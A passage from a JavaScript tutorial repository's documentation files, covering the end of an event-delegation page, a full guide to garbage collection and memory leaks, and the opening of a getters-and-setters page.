verify an element is within your container with nested structures?"> **Answer:** Use `container.contains(element)` to verify the target element is actually within your container: ```javascript // Problem: With nested tables, closest('tr') might find a row // from an inner table, not your table table.addEventListener('click', (event) => { const row = event.target.closest('tr') // ❌ Wrong: row might be from nested table if (row) { handleRow(row) } // ✅ Correct: verify row is within our table if (row && table.contains(row)) { handleRow(row) } }) ``` This is especially important with complex layouts, nested components, or when working with third-party widgets that might be inserted into your container. </Accordion> </AccordionGroup> --- ## Frequently Asked Questions <AccordionGroup> <Accordion title="What is event delegation in JavaScript?"> Event delegation is a technique where you attach a single event listener to a parent element instead of multiple listeners on individual child elements. It works because of event bubbling — when a child is clicked, the event travels up to the parent where your listener catches it. MDN recommends this pattern for handling events on dynamic content. </Accordion> <Accordion title="When should I use event delegation?"> Use delegation when you have many similar elements that need the same handler, when elements are added or removed dynamically, or when memory efficiency matters. According to web.dev, reducing the number of event listeners directly improves page interactivity and INP scores. </Accordion> <Accordion title="What is the difference between matches() and closest() for delegation?"> `matches()` checks if the exact `event.target` matches a CSS selector, while `closest()` traverses up the DOM to find the nearest matching ancestor. Use `closest()` when your clickable elements contain nested children like icons or spans, since `event.target` might be the inner element rather than the button itself. </Accordion> <Accordion title="Can all JavaScript events be delegated?"> No. Events that don't bubble — such as `focus`, `blur`, `mouseenter`, and `mouseleave` — cannot be delegated using the standard bubbling approach. The W3C UI Events spec defines `focusin` and `focusout` as bubbling alternatives for focus events, or you can use the capture phase as a workaround. </Accordion> <Accordion title="Does event delegation work with dynamically added elements?"> Yes — this is one of its biggest advantages. Since the listener is on the parent, any child elements added later are automatically handled without needing to attach new listeners. This makes delegation essential for SPAs and any UI that renders content dynamically. </Accordion> </AccordionGroup> --- ## Related Concepts <CardGroup cols={2}> <Card title="Event Bubbling & Capturing" icon="arrow-up" href="/beyond/concepts/event-bubbling-capturing"> Understand the event propagation mechanism that makes delegation possible </Card> <Card title="Custom Events" icon="bolt" href="/beyond/concepts/custom-events"> Learn to create and dispatch your own events that work with delegation </Card> <Card title="DOM Manipulation" icon="code" href="/concepts/dom"> Master the Document Object Model and element selection methods </Card> <Card title="Callbacks" icon="phone" href="/concepts/callbacks"> Understand callback functions used as event handlers </Card> </CardGroup> --- ## Reference <CardGroup cols={2}> <Card title="Event.target — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/Event/target"> Official documentation for the target property that identifies the event origin </Card> <Card title="Event.currentTarget — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/Event/currentTarget"> Documentation for currentTarget, which identifies where the listener is attached </Card> <Card title="Element.closest() — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/Element/closest"> Reference for the closest() method used to find ancestor elements </Card> <Card title="Element.matches() — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/Element/matches"> Documentation for testing if an element matches a CSS selector </Card> </CardGroup> ## Articles <CardGroup cols={2}> <Card title="Event Delegation — JavaScript.info" icon="newspaper" href="https://javascript.info/event-delegation"> Comprehensive tutorial with interactive examples covering delegation patterns, the behavior pattern, and practical exercises </Card> <Card title="Event Bubbling — MDN Learn" icon="newspaper" href="https://developer.mozilla.org/en-US/docs/Learn_web_development/Core/Scripting/Event_bubbling"> MDN's guide to event bubbling with clear explanations of target vs currentTarget and delegation examples </Card> <Card title="How JavaScript Event Delegation Works — David Walsh" icon="newspaper" href="https://davidwalsh.name/event-delegate"> Classic article explaining event delegation fundamentals with practical code examples </Card> <Card title="DOM Events Guide — MDN" icon="newspaper" href="https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model/Events"> Comprehensive MDN guide to working with events in the DOM, including propagation and delegation </Card> </CardGroup> ## Videos <CardGroup cols={2}> <Card title="Event Delegation — Web Dev Simplified" icon="video" href="https://www.youtube.com/watch?v=XF1_MlZ5l6M"> Clear explanation of event delegation with visual examples showing how bubbling enables this pattern </Card> <Card title="JavaScript Event Delegation — Traversy Media" icon="video" href="https://www.youtube.com/watch?v=3KJI1WZGDrg"> Practical walkthrough building a dynamic list with delegated event handling </Card> <Card title="Event Bubbling and Delegation — The Net Ninja" icon="video" href="https://www.youtube.com/watch?v=aVeQ4shbNls"> Part of a comprehensive JavaScript DOM series covering bubbling and delegation together </Card> </CardGroup> ================================================ FILE: docs/beyond/concepts/garbage-collection.mdx ================================================ --- title: "JavaScript Garbage Collection" sidebarTitle: "Garbage Collection" description: "Learn how JavaScript garbage collection works. Understand mark-and-sweep, reachability, and how to write memory-efficient code that helps the engine." "og:type": "article" "article:author": "Leonardo Maldonado" "article:section": "Memory & Performance" "article:tag": "garbage collection, mark and sweep, reachability, memory efficiency, gc algorithm" --- What happens to objects after you stop using them? When you create a variable, assign it an object, and then reassign it to something else, where does that original object go? Does it just sit there forever, taking up space? ```javascript let user = { name: 'Alice', age: 30 } user = null // What happens to { name: 'Alice', age: 30 }? ``` The answer is **garbage collection**. JavaScript automatically finds objects you're no longer using and frees the memory they occupy. You don't have to manually allocate or deallocate memory like in C or C++. As MDN documents, the JavaScript engine handles it for you, running a background process that cleans up unused objects — a design choice made since the language's creation in 1995. <Info> **What you'll learn in this guide:** - What garbage collection is and why JavaScript needs it - How the engine determines which objects are "garbage" - The mark-and-sweep algorithm used by all modern engines - Why reference counting failed and circular references aren't a problem - How generational garbage collection makes GC faster - Practical tips for writing GC-friendly code - Common memory leak patterns and how to avoid them </Info> <Warning> **Prerequisite:** This guide assumes you understand basic JavaScript objects and references. For a deep dive into how V8 implements garbage collection (generational GC, the Scavenger, Mark-Compact), see the [JavaScript Engines](/concepts/javascript-engines) guide. </Warning> --- ## What is Garbage Collection? **Garbage collection (GC)** is an automatic memory management process that identifies and reclaims memory occupied by objects that are no longer reachable by the program. The garbage collector periodically scans the heap, marks objects that are still in use, and frees memory from objects that can no longer be accessed. Think of garbage collection like a city sanitation service. You put trash on the curb (stop referencing objects), and the garbage truck comes by periodically to collect it. You don't have to drive to the dump yourself. The city handles it automatically. But there's a catch: you can't control exactly when the truck arrives, and if you accidentally leave something valuable on the curb (lose your only reference to an object you still need), it might get collected. --- ## How Does JavaScript Know What's Garbage? The key concept is **reachability**. An object is considered "alive" if it can be reached from a **root**. Roots are starting points that the engine knows are always accessible: - **Global variables** — Variables in the global scope - **The current call stack** — Local variables and parameters of currently executing functions - **Closures** — Variables captured by functions that are still reachable Any object reachable from a root, either directly or through a chain of references, is kept alive. Everything else is garbage. ```javascript // 'user' is a root (global variable) let user = { name: 'Alice' } // The object { name: 'Alice' } is reachable through 'user' // So it stays in memory user = null // Now nothing references { name: 'Alice' } // It's unreachable and becomes garbage ``` ### Tracing Reference Chains The garbage collector follows references like a detective following clues: ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ REACHABILITY FROM ROOTS │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ ROOTS REACHABLE OBJECTS │ │ │ │ ┌────────────┐ ┌──────────────┐ ┌──────────────┐ │ │ │ global │ │ user │ │ address │ │ │ │ variables │ ────────► │ { name, │ ──► │ { street, │ │ │ └────────────┘ │ address } │ │ city } │ │ │ └──────────────┘ └──────────────┘ │ │ ┌────────────┐ │ │ │ call │ ┌──────────────┐ │ │ │ stack │ ────────► │ local vars │ ✓ All reachable = ALIVE │ │ └────────────┘ └──────────────┘ │ │ │ │ │ │ UNREACHABLE (GARBAGE) │ │ │ │ ┌──────────────┐ ┌──────────────┐ │ │ │ { orphaned } │ │ { no refs } │ ✗ No path from roots │ │ └──────────────┘ └──────────────┘ = GARBAGE │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` Let's see this in action with a more complex example: ```javascript function createFamily() { let father = { name: 'John' } let mother = { name: 'Jane' } // Create references between objects father.spouse = mother mother.spouse = father return { father, mother } } let family = createFamily() // Both father and mother are reachable through 'family' // family → father → mother (via spouse) // family → mother → father (via spouse) family = null // Now there's no path from any root to father or mother // Even though they reference each other, they're both garbage ``` This last point is crucial: **objects that only reference each other but aren't reachable from a root are still garbage**. The garbage collector doesn't care about internal references. It only cares about reachability from roots. --- ## The Mark-and-Sweep Algorithm All modern JavaScript engines use a **mark-and-sweep** algorithm (with various optimizations). Here's how it works: <Steps> <Step title="Start from roots"> The garbage collector identifies all root objects: global variables, the call stack, and closures. </Step> <Step title="Mark reachable objects"> Starting from each root, the collector follows every reference and "marks" each object it finds as alive. It recursively follows references from marked objects, marking everything reachable. ``` Root → Object A (mark) → Object B (mark) → Object C (mark) → Object D (mark) ``` </Step> <Step title="Sweep unmarked objects"> After marking is complete, the collector goes through all objects in memory. Any object that isn't marked is unreachable and gets its memory reclaimed. </Step> </Steps> ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ MARK-AND-SWEEP IN ACTION │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ BEFORE GC MARKING PHASE │ │ │ │ root ──► [A] ──► [B] root ──► [A]✓ ──► [B]✓ │ │ │ │ │ │ ▼ ▼ │ │ [C] [D] [C]✓ [D] │ │ │ │ │ │ ▼ ▼ │ │ [E] [E] │ │ │ │ │ │ SWEEP PHASE AFTER GC │ │ │ │ root ──► [A]✓ ──► [B]✓ root ──► [A] ──► [B] │ │ │ │ │ │ ▼ ▼ │ │ [C]✓ [D] ← removed [C] (free memory) │ │ │ │ │ ▼ │ │ [E] ← removed │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` ### Why Mark-and-Sweep Handles Circular References Notice in our family example that `father` and `mother` reference each other. With mark-and-sweep, this isn't a problem: ```javascript let family = { father: { name: 'John' }, mother: { name: 'Jane' } } family.father.spouse = family.mother family.mother.spouse = family.father // Circular reference: father ↔ mother family = null // Mark phase: start from roots, can't reach father or mother // Neither gets marked, both get swept // Circular reference doesn't matter! ``` The mark-and-sweep algorithm only cares about reachability from roots. Internal circular references don't keep objects alive. --- ## Reference Counting: A Failed Approach Before mark-and-sweep became standard, some engines used **reference counting**. Each object kept track of how many references pointed to it. When the count reached zero, the object was immediately freed. ```javascript // Reference counting (conceptual, not real JS) let obj = { data: 'hello' } // refcount: 1 let ref = obj // refcount: 2 ref = null // refcount: 1 obj = null // refcount: 0 → freed immediately ``` This seems simpler, but it has a fatal flaw: **circular references cause memory leaks**. ```javascript function createCycle() { let objA = {} let objB = {} objA.ref = objB // objB refcount: 1 objB.ref = objA // objA refcount: 1 // When function returns: // - objA loses its stack reference: refcount goes to 1 (not 0!) // - objB loses its stack reference: refcount goes to 1 (not 0!) // Both objects keep each other alive forever! } createCycle() // With reference counting: MEMORY LEAK // With mark-and-sweep: Both collected (unreachable from roots) ``` Old versions of Internet Explorer (IE6/7) used reference counting for DOM objects, which caused notorious memory leaks when JavaScript objects and DOM elements referenced each other. According to web.dev's guide on fixing memory leaks, all modern engines now use mark-and-sweep or variations of it, eliminating circular reference leaks entirely. --- ## Generational Garbage Collection Modern engines like V8 don't just use basic mark-and-sweep. They use **generational garbage collection** based on an important observation: **most objects die young**. According to the V8 blog, the Orinoco garbage collector processes the young generation in under 1 millisecond for most web applications, making GC pauses nearly invisible to users. Think about it: temporary variables, intermediate calculation results, short-lived callbacks. They're created, used briefly, and become garbage quickly. Only some objects (app state, cached data) live for a long time. V8 exploits this by dividing memory into generations: ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ GENERATIONAL HEAP LAYOUT │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ YOUNG GENERATION OLD GENERATION │ │ (Most objects die here) (Long-lived objects) │ │ │ │ ┌───────────────────────┐ ┌───────────────────────┐ │ │ │ New objects land │ │ Objects that │ │ │ │ here first │ ─────► │ survived multiple │ │ │ │ │ survives │ GC cycles │ │ │ │ Collected frequently │ │ │ │ │ │ (Minor GC) │ │ Collected less often │ │ │ │ │ │ (Major GC) │ │ │ └───────────────────────┘ └───────────────────────┘ │ │ │ │ • Fast allocation • Contains app state │ │ • Quick collection • Caches, long-lived data │ │ • Most garbage found here • More thorough collection │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` **Minor GC (Scavenger):** Runs frequently on the young generation. Since most objects die young, this is very fast. Objects that survive get promoted to the old generation. **Major GC (Mark-Compact):** Runs less frequently on the entire heap. More thorough but slower. Includes compaction to reduce fragmentation. This generational approach means: - Short-lived objects are collected quickly with minimal overhead - Long-lived objects aren't constantly re-examined - Overall GC pauses are shorter and less frequent <Note> For a deep dive into V8's Scavenger, Mark-Compact, and concurrent/parallel GC techniques, see the [JavaScript Engines](/concepts/javascript-engines#how-does-garbage-collection-work) guide. </Note> --- ## When Does Garbage Collection Run? You might wonder: when exactly does the garbage collector run? The short answer is: **you don't know, and you can't control it**. Garbage collection is triggered automatically when: - The heap reaches a certain size threshold - The engine detects idle time (browser animation frames, Node.js event loop idle) - Memory pressure increases ```javascript // You CANNOT force garbage collection in JavaScript // This doesn't exist in the language: // gc() // Not a thing // System.gc() // Not a thing // The engine decides when to run GC // You just write code and let it handle memory ``` Modern engines use sophisticated heuristics: - **Incremental GC:** Breaks work into small chunks to avoid long pauses - **Concurrent GC:** Runs some GC work in background threads while JavaScript executes - **Idle-time GC:** Schedules GC during browser idle periods <Warning> **Don't try to outsmart the garbage collector.** Setting variables to `null` everywhere "to help GC" usually doesn't help and makes code harder to read. The engine is very good at its job. Focus on writing clear, correct code. </Warning> --- ## Writing GC-Friendly Code While you can't control GC, you can write code that works well with it: ### 1. Let Variables Go Out of Scope Naturally The simplest way to make objects eligible for GC is to let their references go out of scope: ```javascript function processData() { const largeArray = new Array(1000000).fill('data') // Process the array... const result = largeArray.reduce((sum, item) => sum + item.length, 0) return result // largeArray goes out of scope here // It becomes eligible for GC automatically } const result = processData() // largeArray is already unreachable ``` ### 2. Nullify References to Large Objects When Done Early If you're done with a large object but the function continues running, explicitly nullify it: ```javascript function longRunningTask() { let hugeData = fetchHugeDataset() // 100MB of data const summary = processSummary(hugeData) hugeData = null // Allow GC to reclaim 100MB now // ... lots more code that doesn't need hugeData ... return summary } ``` ### 3. Avoid Accidental Global Variables Accidental globals stay alive forever: ```javascript function oops() { // Forgot 'let' or 'const' - creates global variable! leaked = { huge: new Array(1000000) } } oops() // 'leaked' is now a global variable // It will never be garbage collected! // Fix: Always use let, const, or var function fixed() { const notLeaked = { huge: new Array(1000000) } } ``` <Tip> Use strict mode (`'use strict'`) to catch accidental globals. Assignment to undeclared variables throws an error instead of creating a global. </Tip> ### 4. Be Careful with Closures Closures capture variables from their outer scope. If a closure lives long, so do its captured variables: ```javascript function createHandler() { const hugeData = new Array(1000000).fill('x') return function handler() { // This closure captures 'hugeData' // Even if handler() never uses hugeData directly, // some engines may keep it alive console.log('Handler called') } } const handler = createHandler() // 'hugeData' may be kept alive as long as 'handler' exists // Even though handler() doesn't use it! // Better: Don't capture what you don't need function createBetterHandler() { const hugeData = new Array(1000000).fill('x') const summary = hugeData.length // Extract what you need return function handler() { console.log('Data size was:', summary) } // hugeData goes out of scope, only 'summary' is captured } ``` ### 5. Clean Up Event Listeners and Timers Forgotten event listeners and timers are common sources of memory leaks: ```javascript // Memory leak: listener keeps element and handler alive function setupButton() { const button = document.getElementById('myButton') const data = { huge: new Array(1000000) } button.addEventListener('click', () => { console.log(data.huge.length) }) // If you never remove this listener, 'data' stays alive forever } // Fix: Remove listeners when done function setupButtonCorrectly() { const button = document.getElementById('myButton') const data = { huge: new Array(1000000) } function handleClick() { console.log(data.huge.length) } button.addEventListener('click', handleClick) // Later, when cleaning up: return function cleanup() { button.removeEventListener('click', handleClick) // Now 'data' can be garbage collected } } ``` Same with timers: ```javascript // Memory leak: interval runs forever const data = { huge: new Array(1000000) } setInterval(() => { console.log(data.huge.length) }, 1000) // This interval keeps 'data' alive forever // Fix: Clear intervals when done const data = { huge: new Array(1000000) } const intervalId = setInterval(() => { console.log(data.huge.length) }, 1000) // Later: clearInterval(intervalId) // Now 'data' can be garbage collected ``` --- ## WeakRef and FinalizationRegistry ES2021 introduced two features that let you interact more directly with garbage collection: `WeakRef` and `FinalizationRegistry`. These are advanced features for specific use cases. <Warning> **Avoid these unless you have a specific need.** GC timing is unpredictable, and relying on it leads to fragile code. See [WeakRef](/beyond/concepts/weakmap-weakset) and the MDN documentation for details. </Warning> ```javascript // WeakRef: Hold a reference that doesn't prevent GC const weakRef = new WeakRef(someObject) // Later: object might have been collected const obj = weakRef.deref() if (obj) { // Object still exists } else { // Object was garbage collected } ``` For most applications, `WeakMap` and `WeakSet` are better choices. They allow objects to be garbage collected when no other references exist, without the complexity of `WeakRef`. --- ## Common Mistakes <AccordionGroup> <Accordion title="Thinking 'delete' frees memory immediately"> The `delete` operator removes a property from an object. It doesn't immediately free memory or trigger garbage collection. ```javascript const obj = { data: new Array(1000000) } delete obj.data // Removes the property // But memory isn't freed until GC runs // AND only if nothing else references that array // This is also bad for performance (changes hidden class) // Better: set to undefined or restructure your code obj.data = undefined ``` </Accordion> <Accordion title="Setting everything to null 'to help GC'"> Obsessively nullifying variables doesn't help and hurts readability: ```javascript // Don't do this function process() { let a = getData() let result = transform(a) a = null // Unnecessary! let b = getMoreData() let final = combine(result, b) result = null // Unnecessary! b = null // Unnecessary! return final } // Just let variables go out of scope naturally function process() { const a = getData() const result = transform(a) const b = getMoreData() return combine(result, b) } ``` Only nullify when: (1) you're done with a **large** object, (2) the function continues running for a while, and (3) you've measured that it helps. </Accordion> <Accordion title="Storing references in long-lived caches"> Caches that grow without bounds cause memory leaks: ```javascript // Memory leak: cache grows forever const cache = {} function getCached(key) { if (!cache[key]) { cache[key] = expensiveComputation(key) } return cache[key] } // Better: Use WeakMap (if keys are objects) const cache = new WeakMap() function getCached(obj) { if (!cache.has(obj)) { cache.set(obj, expensiveComputation(obj)) } return cache.get(obj) } // Cache entries are automatically removed when keys are GC'd // Or: Use an LRU cache with a maximum size ``` </Accordion> <Accordion title="Forgetting to unsubscribe from observables/events"> Subscriptions keep callbacks (and their closures) alive: ```javascript // Memory leak in React component (class-style) class MyComponent extends React.Component { componentDidMount() { this.subscription = eventEmitter.subscribe(data => { this.setState({ data }) // 'this' keeps component alive }) } // Forgot componentWillUnmount! // Component instance stays in memory forever // Fix: componentWillUnmount() { this.subscription.unsubscribe() } } ``` </Accordion> <Accordion title="Circular references between JS and DOM (old IE)"> This was a problem in old Internet Explorer but is not an issue in modern browsers: ```javascript // Historical problem (IE6/7): const div = document.createElement('div') const obj = {} div.myObject = obj // DOM → JS reference obj.myElement = div // JS → DOM reference // In old IE with reference counting, this leaked // In modern browsers with mark-and-sweep, this is fine ``` Modern browsers handle this correctly. Both objects become garbage when unreachable from roots. </Accordion> </AccordionGroup> --- ## Key Takeaways <Info> **The key things to remember:** 1. **JavaScript has automatic garbage collection.** You don't manually allocate or free memory. The engine handles it. 2. **Reachability determines what's garbage.** Objects reachable from roots (globals, stack, closures) are kept alive. Everything else is garbage. 3. **Mark-and-sweep is the standard algorithm.** The collector marks reachable objects, then sweeps (frees) everything unmarked. 4. **Circular references aren't a problem.** Mark-and-sweep handles them correctly. Objects that only reference each other (but aren't reachable from roots) get collected. 5. **Generational GC makes collection fast.** Most objects die young, so engines collect the young generation frequently and cheaply. 6. **You can't control when GC runs.** The engine decides based on memory pressure, idle time, and internal heuristics. 7. **Don't over-optimize for GC.** Let variables go out of scope naturally. Only nullify large objects early if you've measured a benefit. 8. **Watch for common leak patterns:** Forgotten event listeners, uncleaned timers, unbounded caches, and closures capturing large objects. 9. **Use WeakMap/WeakSet for caches.** They allow keys to be garbage collected, preventing unbounded growth. 10. **For deep V8 internals, see the JavaScript Engines guide.** Scavenger, Mark-Compact, concurrent marking, and other advanced topics are covered there. </Info> --- ## Test Your Knowledge <AccordionGroup> <Accordion title="Question 1: Will the object { name: 'Alice' } be garbage collected?"> ```javascript let user = { name: 'Alice' } let admin = user user = null ``` **Answer:** No, the object will NOT be garbage collected. Even though `user` is set to `null`, `admin` still holds a reference to the object. The object is still reachable (through `admin`), so it stays alive. ```javascript // To make it eligible for GC: admin = null // Now no references remain ``` </Accordion> <Accordion title="Question 2: Do circular references cause memory leaks in modern JavaScript?"> **Answer:** No. Modern JavaScript engines use mark-and-sweep garbage collection, which handles circular references correctly. Objects are collected based on **reachability from roots**, not reference counts. ```javascript function createCycle() { let a = {} let b = {} a.ref = b b.ref = a } createCycle() // Both objects are collected after the function returns // The circular reference doesn't keep them alive ``` Circular references only caused leaks in old browsers (IE6/7) that used reference counting for DOM objects. </Accordion> <Accordion title="Question 3: How can you force garbage collection in JavaScript?"> **Answer:** You cannot force garbage collection in JavaScript. There is no `gc()` function or equivalent in the language specification. The garbage collector runs automatically when the engine decides it's needed. You can only influence what becomes *eligible* for collection by removing references to objects. Some environments (like Node.js with `--expose-gc` flag) expose a `gc()` function for debugging, but this should never be used in production code. </Accordion> <Accordion title="Question 4: What's wrong with this code?"> ```javascript function setupClickHandler() { const largeData = new Array(1000000).fill('x') document.getElementById('btn').addEventListener('click', () => { console.log('clicked!') }) } ``` **Answer:** There's a potential memory leak. Even though the click handler doesn't use `largeData`, the closure may capture the entire scope, keeping `largeData` alive as long as the event listener exists. Additionally, the event listener is never removed, so it (and potentially `largeData`) will stay in memory forever. **Fixes:** 1. Move `largeData` outside the function if it's needed, or extract only what you need 2. Provide a way to remove the event listener ```javascript function setupClickHandler() { const handler = () => console.log('clicked!') document.getElementById('btn').addEventListener('click', handler) return () => { document.getElementById('btn').removeEventListener('click', handler) } } const cleanup = setupClickHandler() // Later: cleanup() to remove the listener ``` </Accordion> <Accordion title="Question 5: Why is generational garbage collection effective?"> **Answer:** Generational garbage collection is effective because of the **generational hypothesis**: most objects die young. Temporary variables, intermediate results, and short-lived objects are created and discarded quickly. Only a small percentage of objects (app state, caches) live long. By dividing memory into generations: - The young generation is collected frequently and cheaply (most objects there are garbage) - The old generation is collected less often (objects there are likely to survive) This approach minimizes the time spent on garbage collection while still reclaiming memory effectively. </Accordion> <Accordion title="Question 6: What does mark-and-sweep mark?"> **Answer:** Mark-and-sweep marks **reachable objects**, not garbage. The algorithm: 1. Starts from roots (globals, stack, closures) 2. Follows all references, marking each object it can reach 3. After marking, sweeps through memory and frees all **unmarked** objects Unmarked objects are garbage because they couldn't be reached from any root. </Accordion> </AccordionGroup> --- ## Frequently Asked Questions <AccordionGroup> <Accordion title="How does garbage collection work in JavaScript?"> JavaScript uses the mark-and-sweep algorithm. The garbage collector starts from root references (global variables, the call stack, closures), marks all reachable objects as alive, then sweeps through memory and frees everything that wasn't marked. This process runs automatically — you cannot trigger it manually. </Accordion> <Accordion title="Can you force garbage collection in JavaScript?"> No. The ECMAScript specification provides no API for triggering garbage collection. The engine decides when to run GC based on memory pressure, idle time, and internal heuristics. Node.js exposes a `gc()` function with the `--expose-gc` flag for debugging, but this should never be used in production code. </Accordion> <Accordion title="Do circular references cause memory leaks in modern JavaScript?"> No. The mark-and-sweep algorithm handles circular references correctly because it determines reachability from roots, not reference counts. Two objects that reference each other but are unreachable from any root will both be collected. Circular reference leaks only affected old browsers like IE6/7 that used reference counting. </Accordion> <Accordion title="What is the difference between minor and major garbage collection?"> Minor GC (the Scavenger in V8) runs frequently on the young generation where most short-lived objects reside — it typically completes in under 1 millisecond. Major GC (Mark-Compact) runs less often on the entire heap and is more thorough but slower. According to the V8 blog, this generational approach minimizes pause times significantly. </Accordion> <Accordion title="How do WeakMap and WeakSet help with garbage collection?"> WeakMap and WeakSet hold "weak" references to their keys, meaning those keys can still be garbage collected when no other references exist. This makes them ideal for caches and metadata storage where you don't want your data structure to prevent cleanup of objects owned by other code. </Accordion> </AccordionGroup> --- ## Related Concepts <CardGroup cols={2}> <Card title="JavaScript Engines" icon="microchip" href="/concepts/javascript-engines"> Deep dive into V8's garbage collection: Scavenger, Mark-Compact, concurrent marking, and optimization techniques. </Card> <Card title="Scope and Closures" icon="lock" href="/concepts/scope-and-closures"> Understanding closures is key to understanding what keeps objects alive and why some memory leaks occur. </Card> <Card title="WeakMap & WeakSet" icon="link-slash" href="/beyond/concepts/weakmap-weakset"> Data structures with weak references that allow keys to be garbage collected when no other references exist. </Card> <Card title="Primitives vs Objects" icon="code-branch" href="/concepts/primitives-objects"> How JavaScript primitives and objects behave differently, and why references matter for garbage collection. </Card> </CardGroup> --- ## Reference <CardGroup cols={2}> <Card title="Memory Management — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Memory_management"> Official MDN guide covering the memory lifecycle, garbage collection algorithms, and data structures that aid memory management. The authoritative reference for understanding how JavaScript handles memory automatically. </Card> <Card title="WeakRef — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakRef"> API reference for creating weak references that don't prevent garbage collection. Essential reading for advanced patterns involving GC-observable references (ES2021+). </Card> <Card title="FinalizationRegistry — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/FinalizationRegistry"> API reference for registering cleanup callbacks when objects are garbage collected. Covers use cases, limitations, and why you should avoid relying on cleanup timing. </Card> </CardGroup> ## Articles <CardGroup cols={2}> <Card title="Garbage Collection — javascript.info" icon="newspaper" href="https://javascript.info/garbage-collection"> Beginner-friendly explanation of reachability, the mark-and-sweep algorithm, and why circular references aren't a problem. Excellent diagrams showing exactly how objects become garbage step-by-step. </Card> <Card title="Trash talk: the Orinoco garbage collector — V8 Blog" icon="newspaper" href="https://v8.dev/blog/trash-talk"> Deep dive into V8's Orinoco garbage collector covering parallel, incremental, and concurrent techniques. The definitive resource for understanding how modern JavaScript engines minimize GC pause times. </Card> <Card title="A tour of V8: Garbage Collection — Jay Conrod" icon="newspaper" href="https://jayconrod.com/posts/55/a-tour-of-v8-garbage-collection"> Technical walkthrough of V8's generational garbage collector, including the Scavenger and Mark-Compact algorithms. Great for developers who want to understand the engineering behind automatic memory management. </Card> <Card title="Visualizing memory management in V8 — Deepu K Sasidharan" icon="newspaper" href="https://deepu.tech/memory-management-in-v8/"> Colorful diagrams illustrating how V8 organizes the heap into generations and how objects move between them. Perfect for visual learners who want to see GC in action. </Card> <Card title="Fixing Memory Leaks — web.dev" icon="newspaper" href="https://web.dev/articles/fixing-memory-leaks"> Practical guide to identifying and fixing the most common memory leak patterns in JavaScript applications. Includes Chrome DevTools techniques for heap snapshot analysis. </Card> </CardGroup> ## Videos <CardGroup cols={2}> <Card title="Orinoco: The V8 Garbage Collector — Peter Marshall" icon="video" href="https://www.youtube.com/watch?v=Scxz6jVS4Ls"> Chrome Dev Summit talk by a V8 engineer explaining how Orinoco achieves low-latency garbage collection. See the parallel and concurrent techniques that make modern GC nearly invisible. </Card> <Card title="JavaScript Memory Management Masterclass — Steve Kinney" icon="video" href="https://www.youtube.com/watch?v=LaxbdIyBkL0"> Frontend Masters preview covering memory leaks, profiling with DevTools, and GC-friendly coding patterns. Practical advice for building memory-efficient applications. </Card> <Card title="Garbage Collection in 100 Seconds — Fireship" icon="video" href="https://www.youtube.com/watch?v=0m0EwbCQhQE"> Lightning-fast overview of garbage collection concepts across programming languages including JavaScript. Perfect quick refresher on why automatic memory management exists. </Card> <Card title="What the heck is the event loop anyway? — Philip Roberts" icon="video" href="https://www.youtube.com/watch?v=8aGhZQkoFbQ"> The legendary JSConf talk that visualizes the call stack and event loop. While focused on the event loop, it provides essential context for understanding memory and execution. </Card> </CardGroup> ================================================ FILE: docs/beyond/concepts/getters-setters.mdx ================================================ --- title: "Getters & Setters in JavaScript" sidebarTitle: "Getters & Setters: Computed Properties" description: "Learn JavaScript getters and setters. Create computed properties, validate data on assignment, and build encapsulated objects with get and set accessors." "og:type": "article" "article:author": "Leonardo Maldonado" "article:section": "Objects & Properties" "article:tag": "javascript getters setters, computed properties, property accessors, data validation, encapsulation" --- How do you create a property that calculates its value on the fly? What if you want to validate data every time someone assigns a value? And how do you make a property that looks normal but does something behind the scenes? ```javascript const user = { firstName: "Alice", lastName: "Smith", // This looks like a property, but it's actually a function get fullName() { return `${this.firstName} ${this.lastName}` } } // Access it like a property — no parentheses! console.log(user.fullName) // "Alice Smith" // It recalculates every time user.firstName = "Bob" console.log(user.fullName) // "Bob Smith" ``` **Getters and setters** are special functions that look and behave like regular properties. A [getter](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/get) is called when you read a property. A [setter](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/set) is called when you assign to it. They let you add logic to property access without changing how the property is used. <Info> **What you'll learn in this guide:** - What getters and setters are and why they're useful - How to define them in object literals and classes - The backing property pattern to avoid infinite loops - Using [`Object.defineProperty()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty) for accessor descriptors - Common use cases: computed values, validation, encapsulation - Getter-only (read-only) and setter-only (write-only) properties - How getters and setters work with inheritance - Performance considerations and caching patterns </Info> <Warning> **Prerequisite:** This guide builds on [Property Descriptors](/beyond/concepts/property-descriptors). Understanding data vs accessor descriptors will help you get the most from this guide. </Warning> --- ## What Are Getters and Setters? **Getters** and **setters** are functions disguised as properties. When you access a getter, JavaScript calls the function and returns its result. When you assign to a setter, JavaScript calls the function with the assigned value. The key difference from regular methods is the syntax: no parentheses. According to the [ECMAScript specification](https://tc39.es/ecma262/#sec-method-definitions), getters and setters are defined as special method types within object literals and class bodies, creating accessor property descriptors rather than data descriptors. ```javascript const circle = { radius: 5, // Getter — called when you READ circle.area get area() { return Math.PI * this.radius ** 2 }, // Setter — called when you WRITE circle.diameter = value set diameter(value) { this.radius = value / 2 } } // Getters: access like a property console.log(circle.area) // 78.53981633974483 console.log(circle.area) // Same — recalculates each time // Setters: assign like a property circle.diameter = 20 console.log(circle.radius) // 10 (setter updated it) console.log(circle.area) // 314.159... (getter recalculates) ``` ### Getters vs Methods The difference is purely syntactic, but it affects how you think about and use the property: ```javascript const rectangle = { width: 10, height: 